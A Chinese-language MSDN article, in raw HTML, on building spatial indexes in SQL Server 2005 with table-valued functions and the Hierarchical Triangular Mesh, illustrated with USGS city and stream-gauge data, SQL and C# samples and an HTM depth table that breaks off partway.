<P>在本文中，我们向天文学家的赤经/赤纬 (ra/dec) 天球（天空）网格添加了纬度/经度 (lat/lon) 地球网格。这两种网格大致相同，但并非精确对应，传统顺序 lat-lon 与 dec-ra 相对应。这一顺序上的颠倒迫使我们必须明确坐标系。我们将格林尼治子午线-赤道大地坐标系称为 LatLon 坐标系。该库支持三种坐标系： </P>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD class=listBullet vAlign=top>•</TD>
<TD class=listItem>
<P>格林尼治纬度-经度，称为 LatLon。 </P></TD></TR>
<TR>
<TD class=listBullet vAlign=top>•</TD>
<TD class=listItem>
<P>天文赤经-赤纬，称为 J2000。 </P></TD></TR>
<TR>
<TD class=listBullet vAlign=top>•</TD>
<TD class=listItem>
<P>笛卡尔 (x, y, z)，称为笛卡尔。 </P></TD></TR></TBODY></TABLE>
<P>天文学家使用弧度分作为标准的距离度量。由于一海里为一弧度分，因此距离转换非常简单。其他许多概念也极为相似。为了说明这些问题，本文将演示如何使用此空间库针对两个 USGS 数据集构建空间索引，这两个数据集是：美国城市和美国流量计。本文使用这些索引和一些空间函数提供了若干示例，来说明如何搜索邻近某一点的城市、如何查找邻近某一城市的流量计以及如何查找某个州（多边形区域）内的流量计或城市。 </P>
<P>我们认为此方法具有通用性。可以向几乎所有应用程序中添加空间数据核心架构和空间数据函数以便进行空间查询。这些概念也适用于其他的多维索引方案。例如，这些技术可用于搜索颜色空间或其他任何低维度度量空间。</P>
<DIV style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 10px"><A href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#top"><IMG height=9 alt=返回页首 src="http://www.microsoft.com/library/gallery/templates/MNP2.Common/images/arrow_px_up.gif" width=7 border=0></A><A class=topOfPage href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#top">返回页首</A></DIV><A name=EPC></A>
<H2>表值函数：主要概念</H2>
<P>关系代数的主要概念是，每个关系运算符均使用一个或多个关系，并生成一个输出关系。SQL 是对这一概念的语法修饰，使您可以定义关系（数据定义语言）和用选择-插入-更新-删除语法来操作关系。</P>
<P>定义自己的标量函数使您可以对关系数据库进行扩展：您可以发送邮件，可以执行命令脚本，还可以计算非标准标量和聚合值，例如 <B>tax()</B> 或 <B>median()</B>。</P>
<P>但是，如果您可以创建表，则可以成为关系引擎的一部分：既是关系表的生成者，也是其使用者。这就是 OLEDB 的概念，此概念允许任何数据源生成数据流。这也是 SQL Server 2000 表值函数蕴含的概念。 </P>
<P>在 Transact-SQL 中实现表值函数很简单：</P><PRE class=codeSample>create function t_sql_tvfPoints() 
returns @points table (x float, y float)
as begin
insert @points values(1,2);
insert @points values(3,4);
return;
end
</PRE>
<P>如果可以完全在 Transact-SQL 中执行函数，这样做就可以了。但是，在 SQL Server 2000 中，要在 Transact-SQL 外部实现 OLEDB 数据源或表值函数确实非常困难。 </P>
<P>而 SQL Server 2005 集成了公共语言运行库，可以容易地创建表值函数。您可以创建列表、数组或任意 <B>IEnumerable</B> 对象（可以对其进行 foreach 操作的任意对象），然后将其转换为表。</P><PRE class=codeSample>[SqlFunction(TableDefinition   = "x float, y float" ,
FillRowMethodName = "FillPair")]
public static IEnumerable csPoints( )
   {
int[,] points = { { 1, 2 }, { 3, 4 } };
return (IEnumerable) points;
   }
</PRE>
<P>在 Visual Studio 中编译这段代码，然后单击 <B>Deploy</B>（部署）。表值函数将被安装到数据库中。</P>
<DIV style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 10px"><A href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#top"><IMG height=9 alt=返回页首 src="http://www.microsoft.com/library/gallery/templates/MNP2.Common/images/arrow_px_up.gif" width=7 border=0></A><A class=topOfPage href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#top">返回页首</A></DIV><A name=ELD></A>
<H2>使用表值函数添加空间索引</H2>
<P>对于索引，人们存在许多困惑。事实上，索引非常简单：它们只是带有一些特殊属性的表： </P>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD class=listBullet vAlign=top>•</TD>
<TD class=listItem>
<P>SQL Server 仅有一种关联（按值）索引：B 树。B 树可以具有多字段键，但最常选择的是第一个字段。 </P></TD></TR>
<TR>
<TD class=listBullet vAlign=top>•</TD>
<TD class=listItem>
<P>从概念上说，B 树索引是由 B 树键字段、基表键字段以及您要添加到索引的任何包含字段所组成的表。 </P></TD></TR>
<TR>
<TD class=listBullet vAlign=top>•</TD>
<TD class=listItem>
<P>B 树索引将根据索引键（例如邮政编码或客户 ID）来排序，以便按该键进行查找或顺序扫描会很快。 </P></TD></TR>
<TR>
<TD class=listBullet vAlign=top>•</TD>
<TD class=listItem>
<P>索引通常比基表小，只包含最重要的属性，以便与检查整个表相比，在索引中进行查找所涉及的字节数小得多。通常情况下，索引非常小，以致能完全装在主内存中，从而省去更多的磁盘存取。 </P></TD></TR>
<TR>
<TD class=listBullet vAlign=top>•</TD>
<TD class=listItem>
<P>当您执行索引查找时，可能仅仅是搜索索引（基表的垂直部分），也可能是先搜索索引，再利用基表主键将符合要求的索引逐行加入基表中（书签查找）。 </P></TD></TR></TBODY></TABLE>
<P>中心思想是，空间索引可为您提供一小部分数据。索引会告诉您查找的位置，并通常附带一些有用的搜索信息（专家将其称为包含列或覆盖列）。索引的选择性表明了初始缩减的程度（图 1 所示的粗略子集）。找到相应的子集后，将仔细检查该子集的每个成员并舍弃假正值。图 1 中的菱形框指明了该过程。好的索引只含有少量的假正值。在整篇文章中，我们都将使用图 1 中的说法（粗略子集和仔细检查）。 </P>
<DIV style="WIDTH: 276px"><IMG height=141 alt="" src="http://www.microsoft.com/china/msdn/library/data/sqlserver/art/tvf_figure_1.gif" width=276 border=0><BR>
<P class=figureCaption><B>图 1</B></P>
<DIV class=figureRule></DIV></DIV>
<P>B 树和表值函数可以如下组合，以使您可以构建自己的空间索引来生成粗略子集： </P>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD class=listBullet vAlign=top>•</TD>
<TD class=listItem>
<P>创建一个函数，以生成将相关数据聚集在一起的键。例如，如果项目 A 和 B 相关，则 A 和 B 的键在 B 树键空间中应该是邻近的。 </P></TD></TR>
<TR>
<TD class=listBullet vAlign=top>•</TD>
<TD class=listItem>
<P>创建一个表值函数，以便在给出了对所需子集的说明后，返回包含所有相关值的键范围（“覆盖”）列表。 </P></TD></TR></TBODY></TABLE>
<P>您无法始终让每个键与其所有相关项邻近，因为键是在一个维度中排序的，而相关项是在二维或更高维数的空间中与其邻近。但是可以尽量这样做。假正值与正确答案的比率衡量了您所采取的方式的好坏。 </P>
<P>标准方法是，找到某一条空间填充曲线，并使键空间沿该曲线穿过。例如，使用标准墨卡托地图，可以将西北中的每个人分配给西北键范围，将东南中的每个人分配给东南键范围。图 2 显示了第二种顺序空间填充曲线，它横穿所有这些象限，按顺序分配键。西北-西南象限中的每个人都具有键前缀 nwsw。如果您的区域与图 2 中所示的圆圈类似，就可以知道您的键范围</P><PRE class=codeSample>   key between 'nwsw' and 'nwse'
</PRE>
<DIV style="WIDTH: 170px"><IMG height=200 alt="" src="http://www.microsoft.com/china/msdn/library/data/sqlserver/art/tvf_figure_2.gif" width=170 border=0><BR>
<P class=figureCaption><B>图 2</B></P>
<DIV class=figureRule></DIV></DIV>
<P>此搜索空间占整个表的八分之一，并且含有大约 75% 的假正值（由圆圈外但位于两个方框内的区域表示）。改进不大，但传达了一种概念。更好的索引要使用更精细的单元格分区。如果单元格足够精细，则聚合区域中的假正值就会非常少。要详细查看空间填充曲线和空间分区树，您可以参阅 Hanan Samet [Samet] 的书籍。</P>
<P>现在，我们要定义一种空间填充曲线：分层三角网格 (HTM)，它特别适用于球面。地球是圆的，天球也是圆的，因此，这种球面系统对于地理学家和天文学家来说非常方便。我们可以对任何度量空间做一些类似的事情。空间填充曲线提供了一些键来作为空间索引的基础。那么，如果某人具有所需的区域时，我们的表值函数将为其提供一组适当的键范围供查找（图 1 中的粗略筛选）。这些键范围将覆盖带有球面三角形的区域（称为 trixel），这与图 2 中覆盖圆圈的两个方框非常相似。搜索函数只需查看这些 trixel 的键范围内的所有对象，以确定它们是否符合要求（图 1 中的仔细检查）。</P>
<P>我们可以用一个具体的例子进行说明，假设有一个对象表</P><PRE class=codeSample>create table Object (objID bigint primary key,
lat   float, -- Latitude
lon   float, -- Longitude
HtmID bigint) -- The HTM key
</PRE>
<P>和一个距离函数 <B>dbo.fDistanceLatLon(lat1, lon1, lat2, lon2)</B>，该函数可计算出两点之间的海里（弧度分）数。进一步假设以下表值函数给出了位于某个 lat-lon 点的定长半径范围内的 HtmID 点的键范围列表。</P><PRE class=codeSample>define function 
fHtmCoverCircleLatLon(@lat float, @lon float, @radius float)
returns @TrixelTable table(HtmIdStart bigint, HtmIdEnd bigint)
</PRE>
<P>然后，以下查询会查找旧金山 (lat,lon) = (37.8,-122.4) 周围 40 海里范围内的点。</P><PRE class=codeSample>select O.ObjID, dbo.fDistanceLatLon(O.lat,O.lon, 37.8, -122.4)
from fHtmCoverCircleLatLon(37.8, -122.4, 40) as TrixelTable 
jo&#105;n Object O 
on O.HtmID between TrixelTable.HtmIdStart        -- coarse test
and TrixelTable.HtmIdEnd      
where dbo.fDistanceLatLon(lat,lon,37.8, -122.4) &lt; 40   -- careful test
</PRE>
<P>现在，我们必须定义 HTM 键生成函数、距离函数和 HTM 覆盖函数。下一步我们将以两组美国地质空间数据集为例执行这些操作。如果您不相信其中包含的对象达数十亿，请访问 <A href="http://skyserver.sdss.org/"><EM>http://skyserver.sdss.org/</EM></A> 并浏览一下该网站。该网站使用相同的代码来对几千 GB 的天文数据库进行空间查找。 </P>
<P>本文主要讲述如何使用 SQL 表值函数和像 HTM 这样的空间填充曲线来构建空间索引。同样地，我们将 HTM 代码本身当作一种在别处 [Szalay] 存档的黑色方框，我们只关注如何使其在 SQL 应用程序内适合我们的需要。</P>
<DIV style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 10px"><A href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#top"><IMG height=9 alt=返回页首 src="http://www.microsoft.com/library/gallery/templates/MNP2.Common/images/arrow_px_up.gif" width=7 border=0></A><A class=topOfPage href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#top">返回页首</A></DIV><A name=EHF></A>
<H2>数据集</H2>
<P>美国地质勘探局 (USGS) 收集并发布了美国的相关数据。图 3 显示了由 USGS 维护的 18000 台用于测量河流水流量和级别的流量计。USGS 还发布了 23000 个地点的地名及其人口的列表。</P>
<DIV style="WIDTH: 547px"><IMG height=196 alt="" src="http://www.microsoft.com/china/msdn/library/data/sqlserver/art/tvf_figure_3.gif" width=547 border=0><BR>
<P class=figureCaption><B>图 3</B></P>
<DIV class=figureRule></DIV></DIV>
<P><B>USGS 居民点（23000 个城市）</B></P>
<P>USGS 在 1993 年发布了地点名称及其某些属性的列表。USGS 网站上有一些更新的列表，但由于它们是按州来分段的，因此很难获得一个全国范围的列表。旧的列表足以能够演示空间索引。数据格式如下：</P><PRE class=codeSample>create table Place(
PlaceName   varchar(100) not null, -- City name
State       char(2)      not null, -- 2 char state code
Population  int          not null, -- Number of residents (1990)
Households  int          not null, -- Number of homes (1990)
LandArea    int          not null, -- Area in sqare KM
WaterArea   int          not null, -- Water area within land area
Lat         float        not null, -- Latitude in decimal degrees
Lon         float        not null, -- Longitude decimal degrees
HtmID       bigint       not null primary key --spatial index key
)
</PRE>
<P>为了加快名称查找，我们添加了一个名称索引，但数据是按空间键聚集在一起的。邻近的对象共同位于聚集 B 树中，并因此位于相同或相邻的磁盘页上。</P><PRE class=codeSample>create index Place_Name on Place(PlaceName)
</PRE>
<P>可以从 USGS 网站下载除 HtmID 数据以外的其他所有数据。可以用 SQL Server 2005 数据导入向导来导入数据（我们已在示例数据库中进行了此操作）。HtmID 字段是根据 LatLon 按以下方法计算出的：</P><PRE class=codeSample>update Place set HtmID = dbo.fHtmLatLon(lat, lon)
</PRE>
<P><B>USGS 流量计（17000 台仪器）</B></P>
<P>USGS 自 1854 起一直在维护河流流量记录。到 2000 年 1 月 1 日，他们已累积了超过 43 万年的测量数据。大约有六千个活动的测量站处于活动状态，而有大约四千个处于联机状态。<A href="http://waterdata.usgs.gov/nwis/rt"><EM>http://waterdata.usgs.gov/nwis/rt</EM></A> 中对这些流量计进行了详细介绍。有个 NOAA 站点以非常便利的方式显示了来自几百个最普遍的测量站的数据：<A href="http://weather.gov/rivers_tab.php"><EM>http://weather.gov/rivers_tab.php</EM></A>。 </P>
<P>我们的数据库只包含美国大陆的测量站（见图 3）。关岛、阿拉斯加、夏威夷、波多黎各和维京群岛也有测量站，但不包含在此数据库内。流量计测量站表为：</P><PRE class=codeSample>create table Station (
StationName   varchar(100) not null,     -- USGS Station Name
State         char(2)      not null,     -- State location
Lat           float        not null,     -- Latitude in Decimal
Lon           float        not null,     -- Longitude in Decimal
DrainageArea  float        not null,     -- Drainage Area (km2)
FirstYear     int          not null,     -- First Year operation 
YearsRecorded int          not null,     -- Record years (at Y2k)
IsActive      bit          not null,     -- Was it active at Y2k?
IsRealTime    bit          not null,     -- On Internet at Y2K?
StationNumber int          not null,     -- USGS Station Number
HtmID         bigint       not null,     -- HTM spatial key
-- (based on lat/lon)
primary key(htmID, StationNumber) )  
</PRE>
<P>如上所述，HtmID 字段是根据 LatLon 按以下方法计算出的：</P><PRE class=codeSample>update Station set HtmID = dbo.fHtmLatLon(lat, lon)
</PRE>
<P>由于一个位置有多达 18 个测量站，因此主键必须包括测量站编号以便区分它们。但是，在 B 树中，HTM 键将所有邻近的测量站聚集在一起。为了加快查找，我们添加了测量站编号和名称索引：</P><PRE class=codeSample>create index Station_Name   on Station(StationName)
create index Station_Number on Station(StationNumber)
</PRE>
<P><B>空间索引表</B></P>
<P>现在，我们就可以创建自己的空间索引了。我们本可以将字段添加到基表，但要使存储过程对多个不同的表均有效，我们发现，只需将所有对象加入到一个空间索引中即可。您可以选择 (type,HtmID) 作为键来隔离不同类型的对象；我们选择了 (HtmID, key) 作为键，以便将所有类型（城市和流量计）的邻近对象聚集在一起。该空间索引为：</P><PRE class=codeSample>create table SpatialIndex (
HtmID   bigint   not null , -- HTM spatial key (based on lat/lon)
Lat     float    not null , -- Latitude in Decimal
Lon     float    not null , -- Longitude in Decimal
x       float    not null , -- Cartesian coordinates,
y       float    not null , -- derived from lat-lon
z       float    not null , --,
Type    char(1)  not null , -- Place (P) or gauge (G)
ObjID   bigint   not null , -- Object ID in table
primary key (HtmID, ObjID) )
</PRE>
<P>此主题后面将对笛卡尔坐标进行说明。至于现在，我们只需要知道，<B>fHtmCenterPoint(HtmID)</B> 函数将返回该 HTM 三角形中心点的笛卡尔 (x,y,z) 单位向量。这就是该 HTM 的极限点，因为此中心被细分为无穷个小的 trixel。</P>
<P>SpatialIndex 表将根据 Place 和 Station 表的数据来填充，如下所示：</P><PRE class=codeSample>insert SpatialIndex
select   P.HtmID, Lat, Lon, XYZ.x, XYZ.y, XYZ.z, 
'P' as type, P. HtmID as ObjID
From   Place P cross apply fHtmLatLonToXyz(P.lat, P.lon)XYZ

insert SpatialIndex
select S.HtmID, Lat, Lon, XYZ.x, XYZ.y, XYZ.z, 
'S' as type, S.StationNumber as ObjID
from   Station S cross apply fHtmLatLonToXyz(S.lat, S.lon) XYZ
</PRE>
<P>为了清理数据库，应执行以下命令：</P><PRE class=codeSample>DBCC INDEXDEFRAG    (spatial  , Station, 1)
DBCC INDEXDEFRAG    (spatial  , Station, Station_Name)
DBCC INDEXDEFRAG    (spatial  , Station, Station_Number)
DBCC INDEXDEFRAG    (spatial  , Place,   1)
DBCC INDEXDEFRAG    (spatial  , Place,   Place_Name)
DBCC INDEXDEFRAG    (spatial  , SpatialIndex, 1)  
DBCC SHRINKDATABASE (spatial  , 1  ) - 1 percent spare space
</PRE>
<P><B>题外话：笛卡尔坐标</B></P>
<P>您可以选择跳过此部分。此部分对于使用该库并不是必需的。HTM 代码必须依靠一种技巧来避开球面几何问题：它从球面的二维表面移到了三维空间。这就使得“在多边形内”和“在点附近”查询的检查进行得非常快。 </P>
<P>球面上的每个 lat/lon 点都可以表示为三维空间中的一个单位向量 v = (x,y,z)。北极和南极（90° 和 -90°）的单位向量分别为 v = (0,0,1) 和 v = (0,0,-1)。Z 代表旋转轴，XZ 平面代表本初（格林尼治）子午线，其经度为 0° 或 180°。正式的定义为：</P><PRE class=codeSample>x = cos(lat)cos(lon)
y =cos(lat)sin(lon)
z = sin(lat)
</PRE>
<P>这些笛卡尔坐标的使用方法如下：给定单位球面上的两点 p1=(x1,y1,z1) 和 p2 = (x2,y2,z2)，则它们的点乘积 p1&p2 = x1*x2+y1*y2+z1*z2 就是这两点所代表的单位向量之间的角度的余弦值。它是一个距离度量。图 4 显示了笛卡尔坐标如何使得对“多边形内的点”和“邻近点的点”的检查快速进行。每个 lat/lon 点均具有一个对应的 (x,y,z) 单位向量。</P>
<DIV style="WIDTH: 239px"><IMG height=222 alt="" src="http://www.microsoft.com/china/msdn/library/data/sqlserver/art/tvf_figure_4.gif" width=239 border=0><BR>
<P class=figureCaption><B>图 4</B></P>
<DIV class=figureRule></DIV></DIV>
<P>如果我们要查找 p1 点周围 45 海里（弧度分）范围内的点，则它与 p1 点最多成 45/60 度。这些点与 p1 的点乘积将小于 d=acos(radians(45/60)。该“邻近”检查即变为 { p2 | p2&p1 &lt; d}，它将很快进行。在图 5 中，每个大圆圈或小圆圈都是一个平面与该圆圈的交集，如果某一点与平面法向量的点乘积小于 cos(?¨)（其中 2?¨ 是该圆圈的弧度角直径），则该点就在圆圈内部。</P>
<DIV style="WIDTH: 334px"><IMG height=113 alt="" src="http://www.microsoft.com/china/msdn/library/data/sqlserver/art/tvf_figure_5.gif" width=334 border=0><BR>
<P class=figureCaption><B>图 5</B></P>
<DIV class=figureRule></DIV></DIV>
<P>笛卡尔坐标还可以使得对“多边形内的点”的检查快速进行。所有的多边形都具有大圆边或小圆边。这些边沿着与球面交叉的某个平面分布。因此，可以通过与该平面垂直的单位向量 v 及其位移来定义这些边。例如，赤道就是向量 v = (0,0,1)，且位移为零。纬度 60° 由向量 v = (0,0,1) 及位移 0.5 来定义，而围绕巴尔的摩市的 60° 纬度圈由向量 v = (0.179195, -0.752798, 0.633392) 及 0.5 个位移来定义。对于地点 p2，如果 p2&v &lt; 0.5，则该地点就位于巴尔的摩市 60° 纬度圈内。同样，可以通过计算出三个这种点乘积来确定某个点位于 HTM 三角形内部还是外部。这是 HTM 代码如此有效和快捷的主要原因之一。</P>
<P>我们实现了若干辅助过程来进行从 LatLon 到笛卡尔坐标的转换。</P>
<P><BR><BR><BR></P>
<P>本文稍后将用到这些函数，它们存档在 API spec and Intellisense [Fekete] 中。 </P>
<P>在此，该库的默认设置为 21 级深度的 HTM 键（第一级将球面分成八个表面区域，随后每一级将球面三角形分成四个子三角形）。从表 1 中可看出，21 级深度的 trixel 相当小。最多可以将代码修改为 31 级深度，这是因为不能超出 64 位表示法所占用的位数。</P>
<P>在表 1 中，每个 HTM 级别都会细分球面。对于每个级别，此表均以度数、弧度分、弧度秒和米四种单位的平方形式表示了面积。trixel 列显示了一些特征大小：默认的 21 级深度的 trixel 大约为 0.3 平方弧度秒。USGS 数据在每 12 级深度的 trixel 具有大约半个对象。</P>
<TABLE class=dataTable id=EAAAC cellSpacing=0 cellPadding=0>
<THEAD>
<TR>
<TD class=tableHeader colSpan=8>表 1</TD></TR>
<TR class=stdHeader vAlign=top>
<TD id=colEDAAC>HTM 深度</TD>
<TD id=colEHAAC>&nbsp;</TD>
<TD id=colEJAAC>&nbsp;</TD>
<TD id=colELAAC>面积</TD>
<TD id=colEPAAC>&nbsp;</TD>
<TD id=colERAAC>&nbsp;</TD>
<TD id=colETAAC>&nbsp;</TD>
<TD id=colEVAAC style="BORDER-RIGHT: #cccccc 1px solid">对象/trixel</TD></TR></THEAD>
<TBODY>
<TR class=record vAlign=top>
<TD></TD>
<TD>
<P class=lastInCell><B>deg</B><SUP>2</SUP></P></TD>
<TD>
<P class=lastInCell><B>arc min</B><SUP>2</SUP></P></TD>
<TD>
<P class=lastInCell><B>arc sec</B><SUP>2</SUP></P></TD>
<TD>
<P class=lastInCell><B>earth m</B><SUP>2</SUP></P></TD>
<TD>
<P class=lastInCell><B>trixel</B></P></TD>
<TD>
<P class=lastInCell><B>SDSS</B></P></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid">
<P class=lastInCell><B>USGS</B></P></TD></TR>
<TR class=evenRecord vAlign=top>
<TD>
<P class=lastInCell>球面</P></TD>
<TD>
<P class=lastInCell>41253</P></TD>
<TD>
<P class=lastInCell>148,510,800</P></TD>
<TD>
<P class=lastInCell>534,638,880,000</P></TD>
<TD>
<P class=lastInCell>5.E+14</P></TD>
<TD></TD>
<TD></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid"></TD></TR>
<TR class=record vAlign=top>
<TD>
<P class=lastInCell>0</P></TD>
<TD>
<P class=lastInCell>5157</P></TD>
<TD>
<P class=lastInCell>18,563,850</P></TD>
<TD>
<P class=lastInCell>66,829,860,000</P></TD>
<TD>
<P class=lastInCell>6E+13</P></TD>
<TD></TD>
<TD>
<P class=lastInCell>3E+8</P></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid"></TD></TR>
<TR class=evenRecord vAlign=top>
<TD>
<P class=lastInCell>1</P></TD>
<TD>
<P class=lastInCell>1289</P></TD>
<TD>
<P class=lastInCell>4,640,963</P></TD>
<TD>
<P class=lastInCell>16,707,465,000</P></TD>
<TD>
<P class=lastInCell>2E+13</P></TD>
<TD></TD>
<TD>
<P class=lastInCell>8E+7</P></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid"></TD></TR>
<TR class=record vAlign=top>
<TD>
<P class=lastInCell>2</P></TD>
<TD>
<P class=lastInCell>322</P></TD>
<TD>
<P class=lastInCell>1,160,241</P></TD>
<TD>
<P class=lastInCell>4,176,866,250</P></TD>
<TD>
<P class=lastInCell>4E+12</P></TD>
<TD></TD>
<TD>
<P class=lastInCell>2E+7</P></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid"></TD></TR>
<TR class=evenRecord vAlign=top>
<TD>
<P class=lastInCell>3</P></TD>
<TD>
<P class=lastInCell>81</P></TD>
<TD>
<P class=lastInCell>290,060</P></TD>
<TD>
<P class=lastInCell>1,044,216,563</P></TD>
<TD>
<P class=lastInCell>1E+12</P></TD>
<TD></TD>
<TD>
<P class=lastInCell>5E+6</P></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid"></TD></TR>
<TR class=record vAlign=top>
<TD>
<P class=lastInCell>4</P></TD>
<TD>
<P class=lastInCell>20</P></TD>
<TD>
<P class=lastInCell>72,515</P></TD>
<TD>
<P class=lastInCell>261,054,141</P></TD>
<TD>
<P class=lastInCell>2E+11</P></TD>
<TD></TD>
<TD>
<P class=lastInCell>1E+6</P></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid">
<P class=lastInCell>30,000</P></TD></TR>
<TR class=evenRecord vAlign=top>
<TD>
<P class=lastInCell>5</P></TD>
<TD>
<P class=lastInCell>5</P></TD>
<TD>
<P class=lastInCell>18,129</P></TD>
<TD>
<P class=lastInCell>65,263,535</P></TD>
<TD>
<P class=lastInCell>6E+10</P></TD>
<TD></TD>
<TD>
<P class=lastInCell>3E+5</P></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid">
<P class=lastInCell>7,500</P></TD></TR>
<TR class=record vAlign=top>
<TD>
<P class=lastInCell>6</P></TD>
<TD>
<P class=lastInCell>1</P></TD>
<TD>
<P class=lastInCell>4,532</P></TD>
<TD>
<P class=lastInCell>16,315,884</P></TD>
<TD>
<P class=lastInCell>2E+10</P></TD>
<TD>
<P class=lastInCell>1 deg<SUP>2</SUP></P></TD>
<TD>
<P class=lastInCell>73242</P></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid">
<P class=lastInCell>1,875</P></TD></TR>
<TR class=evenRecord vAlign=top>
<TD>
<P class=lastInCell>7</P></TD>
<TD>
<P class=lastInCell>3E-1</P></TD>
<TD>
<P class=lastInCell>1,133</P></TD>
<TD>
<P class=lastInCell>4,078,971</P></TD>
<TD>
<P class=lastInCell>4E+9</P></TD>
<TD></TD>
<TD>
<P class=lastInCell>18311</P></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid">
<P class=lastInCell>468</P></TD></TR>
<TR class=record vAlign=top>
<TD>
<P class=lastInCell>8</P></TD>
<TD>
<P class=lastInCell>8E-2</P></TD>
<TD>
<P class=lastInCell>283</P></TD>
<TD>
<P class=lastInCell>1,019,743</P></TD>
<TD>
<P class=lastInCell>1E+9</P></TD>
<TD></TD>
<TD>
<P class=lastInCell>4578</P></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid">
<P class=lastInCell>117</P></TD></TR>
<TR class=evenRecord vAlign=top>
<TD>
<P class=lastInCell>9</P></TD>
<TD>
<P class=lastInCell>2E-2</P></TD>
<TD>
<P class=lastInCell>71</P></TD>
<TD>
<P class=lastInCell>254,936</P></TD>
<TD>
<P class=lastInCell>2E+8</P></TD>
<TD></TD>
<TD>
<P class=lastInCell>1144</P></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid">
<P class=lastInCell>29</P></TD></TR>
<TR class=record vAlign=top>
<TD>
<P class=lastInCell>10</P></TD>
<TD>
<P class=lastInCell>5E-3</P></TD>
<TD>
<P class=lastInCell>18</P></TD>
<TD>
<P class=lastInCell>63,734</P></TD>
<TD>
<P class=lastInCell>6E+7</P></TD>
<TD></TD>
<TD>
<P class=lastInCell>286</P></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid">
<P class=lastInCell>7</P></TD></TR>
<TR class=evenRecord vAlign=top>
<TD>
<P class=lastInCell>11</P></TD>
<TD>
<P class=lastInCell>1E-3</P></TD>
<TD>
<P class=lastInCell>4</P></TD>
<TD>
<P class=lastInCell>15,933</P></TD>
<TD>
<P class=lastInCell>2E+7</P></TD>
<TD></TD>
<TD>
<P class=lastInCell>72</P></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid">
<P class=lastInCell>2</P></TD></TR>
<TR class=record vAlign=top>
<TD>
<P class=lastInCell>12</P></TD>
<TD>
<P class=lastInCell>3E-4</P></TD>
<TD>
<P class=lastInCell>1</P></TD>
<TD>
<P class=lastInCell>3,983</P></TD>
<TD>
<P class=lastInCell>4E+6</P></TD>
<TD>
<P class=lastInCell>1 amin<SUP>2</SUP></P></TD>
<TD>
<P class=lastInCell>18</P></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid">
<P class=lastInCell>0.5</P></TD></TR>
<TR class=evenRecord vAlign=top>
<TD>
<P class=lastInCell>13</P></TD>
<TD>
<P class=lastInCell>8E-5</P></TD>
<TD>
<P class=lastInCell>3E-1</P></TD>
<TD>
<P class=lastInCell>996</P></TD>
<TD>
<P class=lastInCell>943816</P></TD>
<TD></TD>
<TD>
<P class=lastInCell>4</P></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid">
<P class=lastInCell>0.1</P></TD></TR>
<TR class=record vAlign=top>
<TD>
<P class=lastInCell>14</P></TD>
<TD>
<P class=lastInCell>2E-5</P></TD>
<TD>
<P class=lastInCell>7E-2</P></TD>
<TD>
<P class=lastInCell>249</P></TD>
<TD>
<P class=lastInCell>235954</P></TD>
<TD></TD>
<TD>
<P class=lastInCell>1</P></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid"></TD></TR>
<TR class=evenRecord vAlign=top>
<TD>
<P class=lastInCell>15</P></TD>
<TD>
<P class=lastInCell>5E-6</P></TD>
<TD>
<P class=lastInCell>2E-2</P></TD>
<TD>
<P class=lastInCell>62</P></TD>
<TD>
<P class=lastInCell>58989</P></TD>
<TD></TD>
<TD>
<P class=lastInCell>0.3</P></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid"></TD></TR>
<TR class=record vAlign=top>
<TD>
<P class=lastInCell>16</P></TD>
<TD>
<P class=lastInCell>1E-6</P></TD>
<TD>
<P class=lastInCell>4E-3</P></TD>
<TD>
<P class=lastInCell>16</P></TD>
<TD>
<P class=lastInCell>14747</P></TD>
<TD></TD>
<TD>
<P class=lastInCell>.</P></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid"></TD></TR>
<TR class=evenRecord vAlign=top>
<TD>
<P class=lastInCell>17</P></TD>
<TD>
<P class=lastInCell>3E-7</P></TD>
<TD>
<P class=lastInCell>1E-3</P></TD>
<TD>
<P class=lastInCell>4</P></TD>
<TD>
<P class=lastInCell>3687</P></TD>
<TD></TD>
<TD></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid"></TD></TR>
<TR class=record vAlign=top>
<TD>
<P class=lastInCell>18</P></TD>
<TD>
<P class=lastInCell>8E-8</P></TD>
<TD>
<P class=lastInCell>3E-4</P></TD>
<TD>
<P class=lastInCell>1</P></TD>
<TD>
<P class=lastInCell>922</P></TD>
<TD></TD>
<TD></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid"></TD></TR>
<TR class=evenRecord vAlign=top>
<TD>
<P class=lastInCell>19</P></TD>
<TD>
<P class=lastInCell>2E-8</P></TD>
<TD>
<P class=lastInCell>7E-5</P></TD>
<TD>
<P class=lastInCell>2E-1</P></TD>
<TD>
<P class=lastInCell>230</P></TD>
<TD>
<P class=lastInCell>1 asec<SUP>2</SUP></P></TD>
<TD></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid"></TD></TR>
<TR class=record vAlign=top>
<TD>
